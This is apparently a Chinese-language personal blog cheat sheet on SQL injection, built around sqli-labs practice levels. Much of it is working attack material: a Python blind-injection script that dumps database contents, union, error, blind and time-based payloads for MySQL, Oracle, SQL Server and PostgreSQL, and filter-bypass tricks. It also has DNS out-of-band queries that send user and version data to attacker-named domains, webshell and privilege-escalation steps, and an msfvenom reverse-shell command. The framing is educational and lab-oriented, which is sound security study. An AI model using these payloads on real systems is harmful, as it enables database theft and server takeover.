SQL注入

sqli-labs记录,后面的数字是关数。

随时添加新的trick

SQL注入的关键在于闭合

以 Mysql 为例,其他的在后面添加

SQLi-labs 题解

Updatexml, extractvalue -5

1
2
3
4
5
id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
id=updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
id=updatexml(1,concat(0x7e,SUBSTR((SELECT @@version),1,24),0x7e),1)
updatexml(1,concat(0x7e,(select substring(f14g,20) from f14g limit 0,1),0x7e),1)
extractvalue(0x0a,concat(0x0a,(select database())))

updatexml最多只能显示32位

布尔盲注 -8

针对没有回显,只显示查询是否成功的注入,通过逐位判断注出数据。

1
2
3
4
?id=1 # 正常,显示You are in
?id=1' # 发生了错误,没有回显
?id=1' and 1=1--+ # 正常
?id=1' and 1=2--+ # 无结果,同样没有回显
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import requests


url = 'http://1dd20f94-5f32-41ba-a9b3-4b023c50b547.node3.buuoj.cn/Less-8'
flag = 'You are in...........'
param_name = 'id'
brutelist = ',abcdefghijklnmopqrstuvwxyz_1234567890'


def send_requests(payload): # ok
payload_dict = {param_name: payload}
r = requests.get(url, params=payload_dict)
# print(r.url)
return r.text


def get_db_length(): # ok
count = 1
while True:
payload = "1\' AND LENGTH(DATABASE())=" + str(count) + "-- "
recv = send_requests(payload)
if flag in recv:
return count
count += 1


def get_db_name(db_length): # ok
db_name = ''
for i in range(1, db_length+1):
for j in brutelist:
j = ord(j)
payload = "1\' AND ASCII(SUBSTR(DATABASE()," + str(i) + ",1))=" + str(j) + "-- "
recv = send_requests(payload)
if flag in recv:
db_name += chr(j)
break
return db_name


def get_table_length(db_name): # ok
count = 1
while True:
payload = "1\' AND (SELECT LENGTH(GROUP_CONCAT(table_name)) FROM information_schema.tables WHERE table_schema=\'" + db_name + "\')=" + str(count) + "-- "
recv = send_requests(payload)
if flag in recv:
return count
count += 1


def get_table_name(db_name, table_length): # ok
table_name = ''
for i in range(1, table_length+1):
for j in brutelist:
j = ord(j)
payload = "1\' AND (SELECT ASCII(SUBSTR(GROUP_CONCAT(table_name)," + str(i) + ",1)) FROM information_schema.tables WHERE table_schema=\'" + db_name + "\')=" + str(j) + "-- "
recv = send_requests(payload)
if flag in recv:
table_name += chr(j)
break
return table_name


def get_column_length(db_name, table_name): # ok
count = 1
while True:
payload = "1\' AND (SELECT LENGTH(GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_name=\'" + table_name + "\' AND table_schema=\'" + db_name + "\')=" + str(count) + "-- "
recv = send_requests(payload)
if flag in recv:
return count
count += 1


def get_column_name(db_name, table_name, column_length): # ok
column_name = ''
for i in range(1, column_length+1):
for j in brutelist:
j = ord(j)
payload = "1\' AND (SELECT ASCII(SUBSTR(GROUP_CONCAT(column_name)," + str(i) + ",1)) FROM information_schema.columns WHERE table_name=\'" + table_name + "\' AND table_schema=\'" + db_name + "\')=" + str(j) + "-- "
recv = send_requests(payload)
if flag in recv:
column_name += chr(j)
break
return column_name


def get_data(table_name, column_name):
res = {}
for column in column_name.split(','):
res[column] = ''
i = 1
while True:
f = 0
for j in range(32, 127):
payload = "1\' AND (SELECT ASCII(SUBSTR(GROUP_CONCAT(" + column + ")," + str(i) + ",1)) FROM " + table_name + ")=" + str(j) + "-- "
recv = send_requests(payload)
if flag in recv:
f = 1
res[column] += chr(j)
break
i += 1
if f == 0:
break
return res


def main():
print('Working on ' + url)
db_length = get_db_length()
db_name = get_db_name(db_length)
print('Database: ' + db_name)
table_length = get_table_length(db_name)
table_name = get_table_name(db_name, table_length)
print('Tables: ' + table_name)
table_name = input('Select a table to dump: ')
column_length = get_column_length(db_name, table_name)
column_name = get_column_name(db_name, table_name, column_length)
data = get_data(table_name, column_name)
print(data)


if __name__ == '__main__':
main()

这里注入data的时候也应该先爆出长度再注数据,否则一旦丢包会导致后面的数据全部丢失。此外可以使用二分法查找数据,效率更高。

时间盲注 -9

利用IF(statement,1,sleep(5))的形式,如果结果为真,会直接返回结果,否则会5秒之后返回一个页面,其他与上面类似。

1
?id=1' and sleep(5)--+ # 5秒后返回了页面,存在时间盲注

python中可以用time模块中的time.time()获取当前时间。

拆分 -23

过滤了注释符,分别闭合前面和后面的单引号

1
0' union select 1,database(),'3

二次注入 -24

注册新用户和登录时无法产生注入,但是修改密码时没有进行过滤。

注册用户admin'#,经过了转义,它只是一个普通的用户名,不会产生注入,登录时同理。但在修改密码时没有进行过滤,语句变为update set users password='$pass' where username='admin'# ....,修改了admin的密码。

过滤 -25 -26 -27

双写绕过,anandd过滤后变成and

SQL对大小写不敏感,SeleCt

空格可以用/**/()%0a反引号tab%a0%0b

可以用报错注入,用括号绕过空格

1
?id=1%27||updatexml(1,concat(%27$%27,(select(database())),1),1)||%271%27=%271

注入手法

联合注入

select id,user,pass from users where id='$id' 为例

判断闭合

1
2
id=1' 报错
id=1'# 正常,单引号闭合

判断列数

1
2
1' order by 3# 正常
1' order by 4# 报错,3列

判断显示位,假设显示位是 user,同时也可以判断列数

1
0' union select 1,2,3# 显示2,显示位是第二位

查当前数据库

1
0' union select 1,database(),3#

查数据库

1
0' union select 1,group_concat(schema_name),3 from information_schema.schemata#

查表名

1
0' union select 1,group_concat(table_name),3 from information_schema.tables where schema_name='dvwa'#

查列名

1
0' union select 1,group_concat(column_name),3 from information_schema.columns where schema_name='dvwa' and table_name='users'#

查数据

1
0' union select 1,group_concat(password),3 from dvwa.users#

宽字节注入

传入的单引号被反斜杠转义,而数据库编码为GBK时,可以通过输入一个ascii码范围外的字符与添加的反斜杠结合成一个GBK字符,比如正常情况下

1
id=1'

被加入反斜杠转义,查询语句变成

1
select * from users where 'id=1/''

不会引发注入,而加入一个其他字符后

1
id=%df'

%df和反斜杠结合成了一个新的GBK字符,单引号没有被转义,查询语句

1
select * from users where id='?''

报错注入

SQL 中的报错有时会提示一些信息,报错注入指将查询结果包含在报错信息中

1
2
3
4
5
6
7
8
9
10
union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a # 主键重复,利用floor()和rand()
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) # extractvalue()
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) # updatexml()
id=1 and geometrycollection((select * from(select * from(select user())a)b)) #geometrycollection()
id=1 and multipoint((select * from(select * from(select user())a)b)) # multipoint()
id=1 and polygon((select * from(select * from(select user())a)b)) # polygon()
id=1 and multipolygon((select * from(select * from(select user())a)b)) #multipolygon()
id=1 and linestring((select * from(select * from(select user())a)b)) # linestring()
id=1 and multilinestring((select * from(select * from(select user())a)b)) # multilinestring()
id=1 and exp(~(select * from(select user())a)) # exp()

布尔盲注

在服务端只返回查询成功和失败的情况下,通过逐位爆破得到结果。

select id,user,pass from users where id=$id为例,假设查询成功返回yes,失败返回no

1
2
3
4
1	返回yes
0 返回no
if(1=1,1,0) 返回yes
if(1=2,1,0) 返回no

查当前数据库

1
2
3
4
if(select ascii(substr(database(),1,1))=65,1,0) 返回yes则第一位是a
if(select ascii(substr(database(),1,1))=66,1,0) 返回yes则第一位是b
...
if(select ascii(substr(database(),2,1))=65,1,0) 查询第二位

其他类似

可以在外侧使用 ifnull,strcmp 函数

时间盲注

与布尔盲注同理,判断查询是否成功的方式从返回的结果变为返回的时间

1
if(select ascii(substr(database(),1,1))=65,1,0) and sleep(5) 过5秒返回结果说明前面的语句为真

除了 sleep ,可以使用 rlike, rpad, repeat, bunch 等大量计算达到延时效果

堆叠注入

有时sql可以执行以分号分割的多条查询语句,此时可能存在堆叠注入

1
id=1';select if(ascii(substr(user(),1,1))=65,sleep(3),1)%23

PDO

PDO(PHP Data Object),为访问数据库提供了统一的接口。

PDO 默认支持多语句执行,使用时会向 Mysql 服务器发送一次 Set Option 请求将 multi statements 设置打开。

Mysql 支持预处理,利用参数化高效执行重复的语句,官方将 prepare,execute,deallocate 统称为 prepare statement,最常用的是 prepare 和 execute。

在 PDO 下的注入,只要没有设置 array(PDO::MYSQL_ATTR_MULTI_STATEMENTS => false),就有可能存在多语句执行,而使用?可以防止字符串拼接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
header('content-type: text/html; charset=utf-8');
$dbms='mysql';
$host='127.0.0.1';
$dbName='test';
$user='root';
$pass='root';$dsn="$dbms:host=$host;
dbname=$dbName";
try {
$pdo = new PDO($dsn, $user, $pass, array( PDO::MYSQL_ATTR_MULTI_STATEMENTS => false));
} catch (PDOException $e) {
echo $e;
}
$id = $_GET['id'];$sql = "SELECT * from test where id =?";
$stmt = $pdo->prepare($sql);$stmt->bindParam(1,$id);
$stmt->execute();
while($row=$stmt->fetch(PDO::FETCH_ASSOC))
{
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['name']."<br >";
var_dump($row);
}

PDO 不能防止所有注入,在 orderby 和 limit 关键字后的参数不能参数化。

带外注入

当不能通过回显或者盲注观察sql的执行结果时,可以考虑使用带外注入,原理是利用dns解析,逐位爆破

配置域名解析,先添加一条名为oob、值为ns1.attack.com的 NS 记录,创建一个子域,再添加名为ns1,值为服务器IP的 A 记录,这会将子域oob.attack.com所有的 DNS 请求转发到服务器中。在服务器中使用 tcpdump -n port 53 观察DNS请求,在另一台机器上使用 dig test.oob.attack.com,此时应该可以在服务器中看到对 test.oob.attack.com的查询。

配置完成,接下来是在SQL中实现DNS查询,并把查询的结果包含进去。

Oracle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*检测*/
SELECT DBMS_LDAP.INIT((‘oob.dnsattacker.com',80) FROM DUAL;

/* Extracting Oracle database version */
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.attacker.com',80) FROM dual;

/*Extracting Current user in Oracle database */
SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com',80) FROM dual;

/*10G 或更低版本可用以下替代方法*/
UTL_INADDR.GET_HOST_ADDRESS,
UTL_HTTP.REQUEST,
HTTP_URITYPE.GETCLOB,
DBMS_LDAP.INIT and UTL_TCP

MSSQL

1
2
3
4
5
6
7
8
9
10
11
12
13
/*检测*/
EXEC master..xp_dirtree '\\oob.dnsattacker.com \'

/*Payload,需要 sysadmin 权限*/
DECLARE @data varchar(1024);
SELECT @data = (SELECT system_user);
EXEC('master..xp_dirtree "\\'+@data+'.oob.dnsattacker.com\foo$"');

/*其他方法*/
xp_fileexists,
xp_subdirs,
xp_getfiledetails,
sp_add_sobstep

MySQL

1
2
3
4
5
/*检测*/
SELECT LOAD_FILE(CONCAT('\\\\', 'oob.dnsattacker.com\\test.txt'));

/*payload,需要 file,select,update 权限*/
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(CONCAT(user(),"\n"))), '.oob.dnsattacker.com\\test.txt'));

Postgresql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*检测*/
CREATE EXTENSION dblink;SELECT dblink_connect('host=oob.dnsattacker.com user=postgres password=password dbname=dvdrental');

/*payload,需要 superuser 权限执行 CREATE EXTENSION 查询*/
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT encode(convert_to(concat(user,' '), 'UTF8'),'hex'));
exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.oob.dnsattacker.com\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

DNS数据提取的限制:

  • 域名最多包含127个子域
  • 每个子域最多包含63字符
  • 完整域名最大长度为253字符
  • 由于DNS记录缓存,会为每个请求的URL添加一个唯一值
  • DNS是明文通道,可悲中间节点和DNS服务器缓存使用,敏感数据可能泄露

二阶注入

查询时没有发生注入,但是查询的结果或者语句用在了其他地方,产生了注入。可参考sqli-labs less-25

注入点

搜索框

日期类型参数,如果没有进行强制类型转换容易出现注入

order by:

1
2
3
order by 1 and(updatexml(1,concat(0x7e,@@version,0x7e),0))
order by if(1=2,1,(select(1)from(select(sleep(2)))test))
order by (select 1 regexp if(substring(user(),1,1)=0x72,1,0x00))

limit:

1
limit 1,1 procedure analyse(extractvalue(1,concat(0x7e,version(),0x7e)),1)

group by:

1
group by if(1=2,1,(select(1)from(select(sleep(2)))test))

table:

1
users where updatexml(1,concat(0x7e,(select user()),0x7e),1)#

Bypass

字符串操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// 合并
concat(str1,str2,...)
concat_ws(separator, str1, str2)
// 截取
substring(str,pos,n)
substr(str,pos,n)
mid(str,pos,n)
left(str,len)
right(str,len)
substring_index(str,delim,count)
// 计算字符串长度
char_length()
character_length()
length()
octet_length()
// 替换
replace()
// 查找子串
locate()
instr()
position()
find_in_set()
// 正则匹配
like 常用通配符 %(匹配0个或任意多个字符),_(匹配一个字符),escape(转义%和_)
regexp/rlike 正则表达式匹配
// 二进制比较(可区分大小写)
select "A" = BINARY "a" // 结果为 0
// 自定义排序,盲注开关
elt(N, str1, str2,...) // 若 N=1,则返回 str1,N=2 则返回 str2,未找到返回 NULL
select elt(1,1) // 结果为1
select elt(1,0) // 结果为0

field(1,0) //结果为0
field(1,1) /结果为1

// 不使用逗号
substr(database(),1,1) limit n,m
substr(database from 1 for 1) limit m offset n

union select 1,2,3
union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)

elect ascii(mid(user(),1,1))=80
select user() like 'r%'

变量

变量分为 普通变量以@开头,连接关闭时释放,系统变量以@@开头,表示 Mysql 服务器的属性,许多系统变量有两种形式,@@session.wait.wait_timeout 表示当前连接,@@global.wait_timeout 表示服务器。

set 使用 = 赋值,select 使用 := 或 into 赋值。

1
2
3
4
5
6
set @varname=3;
select @varname; // 3
select @varname:=4
select @varname; // 4
select count(*) from users into @varname;
select @varname; // 5

可以用表达式给变量赋值,赋值运算符优先级最低。

条件表达式

1
2
3
if(condition, result1, result2);
case expr when val1 then result1 when val2 then result2 else result3;
case when condition1 then result1 when condition2 then result2 else result3;

子查询

注释

1
2
3
单行 # 和 -- (有空格)
多行 /* */
内联 /*! */ 默认执行其中的内容,如包含版本号,高于该版本号才会执行

其他

可用 0x1234x'1234'表示十六进制;

支持字符串和数指之间转换,'12.34a'+113.34

支持二进制数值,b'1011'

首先确定被拦截的部分,针对性绕过。

大小写 SelECt

双写 seleselectct

编码,url 或者 hex

空格,用括号,注释/**/%a0绕过

逗号绕过,在 substr()mid()中使用from to

比较符号绕过,greattest between and

regexp 正则 和 like 注入

逻辑,and&&or||xor|not!可以替换

函数,hex()bin()ascii()concat_ws()group_concat()mid()substr()substring()

HTTP参数污染,id=1 union select 1,2,3 from users where id=1-变成id=1 union select 1&id=2,3 from users where id=1-

缓冲区溢出,id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+version(),database(),user()–+

注释符 #comment /*comment*/ -- comment

内联注释 /*!comment*/id=1/*!UniOn*/Select 1#

select,使用handler语句代替(Mysql):

1
2
3
4
5
6
7
8
9
10
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

字符串可使用 16 进制编码,不使用引号

group_concat 可以用 concat_ws 替换

其他

SMB Relay 攻击

异或注入

当SQL接受异或操作符时,可以通过异或完成盲注。

1
id=1^(exp)^1%23

当 exp 为 true 时,返回 id=1 的结果,false 返回 id=0 的结果。

无列名注入

例如SWPU2019]Web1,无法得到列名。

可以利用union select构造新的列名(需要知道列数),以sqli-labs的security库为例

1
select 1,2,3 union select * from users;

返回结果是一张新的表,列名分别是1,2,3,然后再从这张新表中查询数据

1
2
3
select `3` from (select 1,2,3 union select * from users)as a;
select `3` from (select 1,2,3 union select * from users)a;
# 这两种等价

就在不知道列名的情况下得到了第三列的数据,as a是为这张新表指定一个别名,否则会出错。反引号表示查询的这个列名为3,而不是select 数字3。

也可以为列设置别名

1
select 1 a,2 b,3 c union select * from users;

这样就可以

1
select c from (select 1,2,3 c union select * from users)a;

无法使用information_schema

1
2
3
4
5
sys.schema_auto_increment_columns,需要在表中有一个自增的字段,一般是id。
sys.schema_table_statistics_with_buffer
sys.x$ps_schema_table_statistics_io
mysql.innodb_index_stats
mysql.innodb_table_stats

后续操作

写入 webshell

写入webshell是有条件的,包括:

  • secure_file_priv配置项
    • NULL,禁止导入或导出文件
    • /tmp/,只能在 tmp 目录下导入导出文件
    • ,(空串),无限制
  • 运行数据库的用户有写权限
  • 知道 web 目录位置

任意文件上传没有路径时,数据库中会存储路径,配合 sqlmap 的 --sql-shell--search 寻找 shell 位置。

提权

UDF 提权

1
2
3
4
5
6
7
1、其利用条件是目标系统是Windows(Win2000,XP,Win2003);拥有MYSQL的某个用户账号,此账号必须有对mysql的insertdelete
权限以创建和抛弃函数,有root账号密码。
2、Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
3、Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\
system32。
4、掌握的mysql数据库的账号有对mysql的insertdelete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限
的其它账号也可以。

MOF 提权

1
2
3
利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们
的cmd命令使其被带入执行。
使用MOF提权的前提是当前root账户可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下。

Oracle

联合注入

1
2
3
4
5
6
?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--
?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--

报错注入

1
2
3
4
5
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))

布尔盲注

除了 ifelse,还可以使用 encode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,更改值)

相当于:
IF 条件=值1 THEN
    RETURN(返回值1)
ELSIF 条件=值2 THEN
    RETURN(返回值2)
    ......
ELSIF 条件=值n THEN
    RETURN(返回值n)
ELSE
    RETURN(缺省值)
END IF

?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--
?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--

时间盲注

1
2
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--

SQL Server

联合注入

1
2
3
4
5
6
7
8
?id=-1' union select null,null--
?id=-1' union select @@servername, @@version--
?id=-1' union select db_name(),suser_sname()--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--

报错注入

1
2
?id=1' and 1=(select 1/@@servername)--
?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--

布尔盲注

1
?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--

时间盲注

1
2
?id= 1';if(2>1) waitfor delay '0:0:5'--
?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) wait

MSSQL,由浅入深了解MSSQL注入.pdf

Postgresql

Postgresql, copy from, copy to 读文件。

Sqlmap

中文手册

读源码

版本:sqlmap-1.5.3-27-gdd32bfb

目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.
├── COMMITMENT
├── LICENSE
├── README.md
├── data
├── doc
├── extra
├── lib
├── plugins
├── sqlmap.conf
├── sqlmap.py
├── sqlmapapi.py
├── tamper
└── thirdparty

sqlmap.py

导入包,检查环境

133 行,main 函数

检查错误,设置环境,接受命令行参数,初始化(init 函数,lib/core/option.py

182 行,核心功能,从 profile 或者命令行接受目标,进入 start 函数

lib/controller/controller.py

start 函数

1
2
3
4
5
6
7
def start():
"""
This function calls a function that performs checks on both URL
stability and all GET, POST, Cookie and User-Agent parameters to
check if they are dynamic and SQL injection affected
"""
...

279 行

1
2
3
4
5
if conf.direct:
initTargetEnv()
setupTargetEnv()
action()
return True

如果

lib/controller/action.py

自带tampers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
apostrophemask.py                用UTF-8全角字符替换'(例如'->%EF%BC%87

apostrophenullencode.py 用双unicode替换'(例如'->%0027
appendnullbyte.py 在payload的末尾附加NULL字节字符(%00
base64encode.py 对payload中的所有字符进行base64编码
between.py 用运算符('>')替换'NOT BETWEEN 0 AND#',用运算符('=')替换'BETWEEN#AND#'
bluecoat.py 用随机空白字符替换语句后的空格字符,之后用运算符LIKE替换字符'='
chardoubleencode.py 对payload中的所有字符进行双重URL编码(例如SELECT->%25532545254C%254525432554
charencode.py 对payload中所有字符进行URL编码(例如SELECT->%53454C%454354
charunicodeencode.py 对payload中的所有字符进行unicode编码(例如SELECT->%u0053%u0045%u004C%u0045%u0043%u0054
charunicodeescape.py 使用Unicode转义payload中的未编码字符(例如SELECT->\u0053\u0045\u004C\u0045\u0043\u0054
commalesslimit.py 用'LIMIT N OFFSET M'替换(MySQL)实例,例如'LIMIT M,N'
commalessmid.py 用'MID(A FROM B FOR C)'替换(MySQL)实例,例如'MID(A,B,C)'
commentbeforeparentheses.py 在括号前加(内联)注释(例如((->/**/()
concat2concatws.py 用'CONCAT_WS(MID(CHAR(0),00),A,B)'替换(MySQL)实例,例如'CONCAT(A,B)' 。
equaltolike.py 将('=')运算符替换为'LIKE'
escapequotes.py 斜杠转义单引号和双引号(例如'-> \')
great.py 替换运算符('>' )和'GREATEST'对应
Halfversionedmorekeywords.py 在每个关键字前添加mysql注释
hex2char.py 替换每个(MySQL)0x等效的CONCAT(CHAR(),...)编码字符串
htmlencode.py 用HTML编码(使用代码点)所有非字母数字字符(例如'->')
ifnull2casewhenisnull.py 绕过对 IFNULL 过滤,替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
ifnull2ifisnull.py 用'IF(ISNULL(A),B)替换'IFNULL(A,B)'之类的实例,A)'对应
informationschemacomment.py 在所有出现的(MySQL)“information_schema”标识符的末尾添加一个内联注释(/ ** /)
least.py 用'LEAST'对应替换运算符('>')
lowercase.py 用小写替换每个关键字字符(例如SELECT->select)
luanginx.py LUA-NginxWAF绕过(例如Cloudflare)
modsecurityversioned.py 包含带有(MySQL)版本注释的完整查询
modsecurityzeroversioned.py 包含带有(MySQL)零版本注释的完整查询
multiplespaces.py 在SQL关键字周围添加多个空格('')
overlongutf8.py 将payload中的所有(非字母数字)字符转换为超长UTF8(例如'->%C0%A7
overlongutf8more.py 将payload中所有字符转换为超长UTF8(例如SELECT->%C193%C185%C18C%C185%C183%C194
percent.py 在每个字符前面添加一个百分号('%') (例如SELECT->%S%E%L%E%C%T)
plus2concat.py 替换运算符('+')与(MsSQL)函数CONCAT()对应
plus2fnconcat.py 用(MsSQL)ODBC函数{fn CONCAT()}替换为('+')
randomcase.py 用随机大小写值替换每个关键字字符(例如SELECT-> SEleCt)
randomcomments.py 在SQL关键字内添加随机内联注释(例如SELECT-> S/**/E/**/LECT)
sp_password.py 将(MsSQL)函数'sp_password'附加到payload的末尾,以便从DBMS日志中自动进行混淆
space2comment.py 空格替换为/**_**/
space2dash.py 空格替换为-加随机字符
space2hash.py 空格替换为#加随机字符
space2morecomment.py 空格替换为/**_**/
space2morehash.py 空格替换为#加随机字符及换行符
space2mssqlblank.py 空格替换为其他空符号(MsSQL)
space2mssqlhash.py 空格替换为%23%0A(MsSQL)
space2mysqlblank.py 空格替换为其它空符号(Mysql)
space2mysqldash.py 替换空格字符('')(’–‘)后跟一个破折号注释一个换行(’n’)
space2plus.py 用加号('+')替换空格字符('')
space2randomblank.py 用空格中的随机空白字符替换空格字符('')有效的替代字符集
substring2leftright.py 用LEFT和RIGHT替换PostgreSQL SUBSTRING
symbolicologic.py 用符号(&&和||)替换AND和OR逻辑运算符
unionalltounion.py 用UNION SELECT替换UNION ALL SELECT
unmagicquotes.py 用多字节组合%BF%27替换引号字符('),并在末尾添加通用注释
uppercase.py- 用大写值替换每个关键字字符(例如select -> SELECT)
varnish.py 添加HTTP标头'X-originating-IP'以绕过Varnish防火墙
versionedkeywords.py 用注释封装每个非函数的关键字
versionedmorekeywords.py 将每个关键字包含(MySQL)版本注释
xforwardedfor.py 添加伪造的HTTP标头'X-Forwarded-For

–os-shell

使用 os shell 成功时会同时上传 file stager 和 backdoor

1
[21:30:16] [INFO] the file stager has been successfully uploaded on '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/' - http://192.168.3.135:80/se3reTdir777/uploads/tmpuxvlx.php                                                    [21:30:16] [INFO] the backdoor has been successfully uploaded on '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/' - http://192.168.3.135:80/se3reTdir777/uploads/tmpbfwfq.php 

file stager 可以直接上传文件

执行系统命令就是利用的这个后门

–file-write 写入webshell

生成webshell

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.3.132 LPORT=1234 > shell.php

上传文件

1
sqlmap ... --file-write [file] --file-dest [path/filename]
作者

lll

发布于

2020-02-01

更新于

2022-09-19

许可协议